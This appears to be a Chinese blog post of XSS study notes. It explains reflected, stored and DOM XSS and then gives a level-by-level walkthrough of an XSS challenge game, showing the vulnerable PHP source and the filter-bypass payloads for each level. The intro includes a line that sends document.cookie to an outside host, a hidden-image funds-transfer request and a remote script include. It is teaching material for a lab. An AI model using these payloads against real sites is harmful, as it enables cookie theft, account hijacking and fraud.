XSS学习笔记1

目录

xss(简介)

javascript 插入进去的方式

xss类型

xss闯关小游戏

leval1

leval2

leval3

leval4

leval5

leval6

leval7

leval8

leval9

leval10


xss(简介)

xss是跨站脚本攻击的缩写。恶意攻击者往web页面插入javascript代码,当用户浏览该页时,web里面的script就会对用户发起攻击
也就是说在css或html里面嵌入一些恶意的javascript,实现攻击目的

javascript 插入进去的方式

1,输入框中直接输入恶意脚本

<script>alert(document.cookie)</script>
  • 使用document对象的cookie属性,可以让你读取、添加和更新文档(当期HTML)所关联的cookie。
  • alert() 可以弹出提示框
<script>document.location.href = 'http://127.0.0.1:9090/xss?foo=' + document.cookie</script>
  • document.location.href和document.location.replace
document.location.href和document.location.replace都可以实现从A页面切			  换到B页面,
但他们的**区别**是:
		-用 document.location.href切换后,可以退回到原页面。
		-而用document.location.replace切换后,不可以通过“后退”退回到原页面。

2,html标签中嵌入恶意脚本,如src,href,css,style等

<img src="javascript:alert('XSS');" />
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />
<body background="javascript:alert('XSS');"></body>
<style>
    li{
        list-style-image: url("javascript:alert('XSS');");
    }
</style>
  • 关于list-style-image的详解
    在这里插入图片描述
    3,将恶意脚本注入在event事件中,如onClick,onBlur,onMouseOver等事件。
<a onmouseover="alert(document.cookie)"></a>
  • οnclick=“function()” 表示点击后会执行 function
<a href="http://zhidao.baidu.com" οnclick="function()">百度知道</a>
  • onblur 鼠标离开表单input触发的事件.onblur 事件会在对象失去焦点时发生,所谓焦点指的就是当前操作的对象
  • onmouseover 指鼠标移动都某个指点的HTML标签上,会出现什么效果。
    在这里插入图片描述
  • 在 style sheet,javascript中,如
<link rel="stylesheet" href="javascript:alert('XSS');" />//引入外部标签
<script src="http://ha.ckers.org/xss.js"></script> 
  • meta 标签
<meta http-equiv="refresh" content="5" />
<meta http-equiv="set-cookie" content="usetid=<script>alert('XSS')</script>" />
  • 自动刷新并指向新页面。

xss类型

(1)反射性:

非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

(2)存储型:

持久化,代码是存储在服务器中的,如在个人信息或发表文章以及留言板等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等

(3)DOM:

DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

xss闯关小游戏

(只要触发alert函数就能跳转到下一关)

leval1

后台看php源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
  • ini_set 大概去了解了一下.没什么用
    在这里插入图片描述
    那我们看源码,可以发现没有对传入的name进行任何限制。所以我们可以直接构造任意可弹窗。
    在这里插入图片描述

leval2

分析源码,查看输入点

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

在这里插入图片描述
htmlspecialchars() 函数,它把预定义的字符转换为 HTML 实体。
预定义的字符是:

&:转换为&amp;
":转换为&quot;
':转换为成为 '
<:转换为&lt;
>:转换为&gt;

在这里插入图片描述
我们看到输入点1已经被html实体化了,那我们在输入点2输出

" onclick=alert(1)>     需要点击一下输入框。(点击事件-JS知识点)

" onmouseover=alert(1)>   需要要鼠标滑过输入框(鼠标事件-JS知识点)

"><script>alert(1)</script> 前面形成闭合

leval3

看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

可以从这个看到value值也被实体化

'onclick=alert(1)//    导航栏输入这个语句,然后点击一下输入框

后面无法闭合,所以使用了注释“//”
这样的话: <input name=keyword value=’ ’ οnmοuseοver=alert(1)// '>
在这里插入图片描述

leval4

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以看到将><都替换为空
这题与上题类似,闭合双引号即可
在这里插入图片描述

"onclick=alert(1)//     -点击一下输入框
" οnfοcus=alert(1) autofocus="
  • Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
  • Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。

leval5

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

还是在第二个语句闭合,这回on也过滤了,但是<>没有过滤

"><a href=javascript:alert(1);>test</a>      点击test
 <input name=keyword value="  "><iframe src=javascript:alert(1)>">

在这里插入图片描述

leval6

看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str6)."</h3>";
?>

过滤了很多,我们只能对第二个输入框进行操作
但是没有说限制大小写啊,那好办了

"> <Script>alert(1)</script> 
"> <img Src=x OnError=alert(1)> 
"><a HrEf="javascript:alert(1)">level7</a>
"><svg x=" " Onclick=alert(1)>
"><ScriPt>alert(1)<sCrIpt>"
" OncliCk=alert(1) 

leval7

看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

可以从上面代码看出,它使用了strtolower函数先将大写转化为小写之前方法无用,但是从下面可以看出,它将替换的字符串都都替换为空.
既然如此,我们试试双写

"> <sscriptcript>alert(1)</sscriptcript> 

在这里插入图片描述

leval8

看源码

<?php 
ini_set("display_errors", 0);
$str =strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

我们可以使用协议绕过javascript:alert,由于script关键字被过滤,javascript会被替换成javasc_rpt,我们使用&#x72来代替r ,HTML字符实体转换

javasc&#x72;ipt:alert(1)

HTML字符实体转换
在这里插入图片描述
在这里插入图片描述

leval9

查看源码

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>

和前一题的不同之处
在这里插入图片描述

javascrip&#x74;:alert(1)//http://    

leval10

查看源码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

我们的渗透点在t_sort参数上,标签input被隐藏了
在这里插入图片描述

t_sort=" onclick="alert()" type="text    点击输入框

闭合成功
在这里插入图片描述

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值